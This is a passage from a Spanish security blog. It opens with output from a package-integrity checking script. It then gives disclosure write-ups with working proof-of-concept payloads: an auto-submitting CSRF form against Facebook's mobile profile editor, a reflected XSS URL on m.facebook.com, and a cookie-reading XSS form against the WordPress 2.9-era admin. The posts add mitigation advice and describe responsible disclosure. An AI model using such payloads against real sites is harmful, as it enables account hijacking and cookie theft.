    El proceso [ 11573 /var/ossec/bin/ossec-execd ] no pertenece a ningún paquete

    El proceso [ 11577 /var/ossec/bin/ossec-analysisd ] no pertenece a ningún paquete

    El proceso [ 11580 /var/ossec/bin/ossec-logcollector ] no pertenece a ningún paquete

    El proceso [ 11584 /var/ossec/bin/ossec-syscheckd ] no pertenece a ningún paquete

    El proceso [ 11588 /var/ossec/bin/ossec-monitord ] no pertenece a ningún paquete

    El proceso [ 23557 /usr/sbin/named ] ha sufrido modificaciones en su paquete base (bind9): /usr/sbin/named                                                           FAILED

    El proceso [ 23815 /usr/sbin/apache2 ] ha sufrido modificaciones en su paquete base (apache2-mpm-prefork): debsums: can't open apache2-mpm-prefork file /usr/sbin/apache2 (No existe el fichero o el directorio)

    El proceso [ 6570 /usr/sbin/apache2 ] ha sufrido modificaciones en su paquete base (apache2-mpm-prefork): debsums: can't open apache2-mpm-prefork file /usr/sbin/apache2 (No existe el fichero o el directorio)


    El proceso [ 6998 /usr/sbin/apache2 ] ha sufrido modificaciones en su paquete base (apache2-mpm-prefork): debsums: can't open apache2-mpm-prefork file /usr/sbin/apache2 (No existe el fichero o el directorio)

    El script detecta que hay unos binarios que no pertenecen a ningún paquete (pertenecen al software OSSEC, un HIDS Open Source, y es debido a que se instaló de forma manual), también detecta que el binario named se ha modificado y que el binario de apache2 se ha eliminado. Por lo tanto cumple su función, por supuesto es muy sencillo y se puede mejorar con más detalles, los comentarios son bienvenidos.

    El código es el siguiente:



    Descarga del script para Debian GNU/Linux


    Espero que os sea útil.

    Tuesday 16 February 2010

    Facebook: Cross-Site Request Forgery Vulnerability


    Cross-Site Request Forgery es un ataque que fuerza a la victima a realizar acciones no deseadas en una aplicación en la que ésta se encuentra autenticada.

    Como funciona este ataque? Un ejemplo simple, podría ser el siguiente, pongámonos en la situación de un servlet de un banco que permite realizar transacciones.
    Este servlet, usa los siguientes parámetros (acct y amount), veamos un ejemplo de petición HTTP:


    POST http://bank.com/transfer.do HTTP/1.1
    ...
    ...
    Content-Length: 19;

    acct=BOB&amount=100


    En account se establece la cuenta de destino y en amount el dinero a transferir. En este escenario, un atacante puede crear un formulario de tipo POST, que envíe esas dos variables al servlet, y preparar una página web en la cual este formulario se envie de manera automática mediante JavaScript. El atacante incita a la victima a visitar este enlace y directamente la transferencia se realiza sin intervencción por parte del usuario.

    El atacante ha conseguido que la victima ejecute acciones no deseadas, ya que ésta dispone de una sesión válida en la aplicación.

    Del mismo modo, la interfaz móvil de Facebook era vulnerable en el formulario de actualización del perfil a ataques de tipo CSRF, en concreto en el recurso http://m.facebook.com/a/editprofile.php

    El siguiente código, es un ejemplo que permite a un atacante modificar el número de teléfono en el perfil mediante esta técnica. Preparando el siguiente formulario para que se envíe automáticamente, haciendo que sea accesible en una página web y tratar que la victima lo visite mediante el envío de un enlace o cualquier otro método, concluiría en el compromiso del usuario y de la aplicación por parte del atacante:

    Prueba de concepto:

    <html>
    <head>
    <script>

    function send() {
    document.forms[0].submit();
    }

    </script>
    </head>

    <body onload="send();">
    <form action="http://m.facebook.com/a/editprofile.php?edit=phone_cell&type=contact"; method="post">
    <input type="hidden" name="phone_num" value="600000000">
    <input type="hidden" name="save" value="">
    </form>
    </body>
    </html>


    El impacto es que un atacante puede forzar a otros usuarios de Facebook a realizar acciones no deseadas. La explotación con éxito de este ataque permitía la actualziación del perfil de la víctima.


    Mitigación:

    Es necesario implementar mecanismos de control con el objetivo de asegurar que el usuario además de estar autenticado y disponer de permisos para realizar una acción determinada (autorizado), no está siendo forzado por otros usuarios a realizar acciones no deseadas mediante CSRF.
    Para resolver este problema, hay varias soluciones, la más común, se trata de generar un token aleatorio al crear el formulario y almacenarlo con la información relacionada a él (recurso, usuario, perfil, formulario, etc), añadiéndolo como campo oculto en el formulario.
    Una vez se realiza la petición contra el servidor, se valida que ese token es válido. Un atacante que prepare un formulario malintencionado no podrá saber que token es válido y cúal no, por lo que con esta medida mitigamos el ataque.
    El equipo de seguridad de Facebook fue notificado lo antes posible en cuanto se descubió la vulnerabilidad y corrigió este bug de forma rápida, por lo que actualmente está solucionado.


    Disponeis del advisory original enviado a Full-disclosure:

    http://seclists.org/fulldisclosure/2010/Feb/274


    Muchas gracias! al equipo de seguridad de Facebook y a SecurityByDefault @secbydefault por las reseñas ;-)

    Wednesday 3 February 2010

    Vulnerabilidad de inyección de código HTML y JavaScript en Facebook


    La red social Facebook ocupa el puesto número 2 en el índice alexa y según su COO, acceden a ella 175 millones de usuarios cada día.



    Hoy se ha publicado la primera de las vulnerabilidades que he encontrado en Facebook, y en concreto se trata de una inyección de código HTML y JavaScript que afecta a la interfaz móvil de la red social.

    En concreto, la variable 'q' en el recurso http://m.facebook.com/friends.php no era correctamente filtrada, por lo que un atacante podía realizar ataques de tipo Cross-Site Scripting (XSS) con el objetivo de robar las cookies del usuario, y por lo tanto, comprometer su cuenta de Facebook.

    El 'Proof of concept' era el siguiente: http://m.facebook.com/friends.php?q=%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E


    El impacto de esta vulnerabilidad en una red social como Facebook, es el robo de cuentas de los usuarios afectados, por lo tanto se considera de relevante gravedad.
    Para aprovechar la vulnerabilidad el atacante tendría que preparar un enlace o sitio web con el código malicioso, con el objetivo de que las victimas lo visitaran. Y simplemente por el hecho de hacer click en un enlace o visitar un sitio web, sus cuentas quedarían automáticamente comprometidas.

    El estado actual de esta vulnerabilidad es corregido. Para conseguirlo, nos pusimos en contacto con el equipo de seguridad de Facebook con el objetivo de mitigar los errores encontrados, y a pesar de que en un primer momento no obtuvimos respuesta, actualmente mantenemos un canal de comunicación con el fin de que se corrija esta y otras vulnerabilidades que se han descubierto.


    Teneis disponible el advisory original (english).

    A medida que el equipo de seguridad de Facebook notifique la correción de las vulnerabilidades reportadas, iré publicando más información en el blog.

    Saturday 9 January 2010

    Wordpress Administration Interface < 2.9 HTML and Script code Injection Vulnerability

    Hola,

    El siguiente es un  aviso de seguridad para Wordpress en versiones anteriores a 2.9.
    Debido a la falta de validación de la entrada proporcionada por el usuario, el parámetro insertonly[href] no ha sido correctamente filtrado por lo que es posible injectar código HTML y de script en el contexto del navegador de la victima.

    El bug se encuentra en el fichero admin/media-upload.php y aquí podemos ver un PoC:

    <form action="http://site/wordpress/wp-admin/media-upload.php?type=file&tab=type_url&
    post_id=0" enctype="multipart/form-data" method="post">
    <input name="insertonly[href]" size="80" type="text" 
    value="');</script>Wordpress XSS PoC<script>alert(document.cookie);</script><script> a('"/>
    
    <input name="insertonlybutton" type="submit" value="Test PoC" />
    
    </form>
    
    

    Este bug podría ser usado, si se implementara un autosubmit del formulario y se enviaran las cookies de sesión a un servidor externo para el robo de cuentas, pudiendo llegar a obtener la cuenta de administración sin necesidad de tener una cuenta en el sistema (nótese que además del XSS, al no existir una validación con token, estamos ante un XSRF, por este motivo, no es necesario estar en posesión de una cuenta para explotar la vulnerabilidad).

    El equipo de seguridad de Wordpress fue avisado del bug y publicaron la versión 2.9 que corrige la vulnerabilidad. La solución es actualizar a la versión 2.9 o 2.9.1 que acaban de publicar.

    Referencias:

    http://www.wordpress.org/

    Saludos

    Resumen seguridad informática 2009 por unaaldia

    Hola,

    Debido a que el año pasado el blog no ha estado muy activo, enlazamos al resumen de seguridad informática para el año 2009 realizado por unaaldia, en el que se refleja lo más destacado referente a temas de seguridad.

    Resumen de seguridad informática 2009 (I/IV)
    Resumen de seguridad informática 2009 (II/IV)
    Resumen de seguridad informática 2009 (III/IV)
    Resumen de seguridad informática 2009 (IV/IV)


    Desde aquí, reconocer el esfuerzo que hacen desde Hispasec para mantener esta publicación día tras día.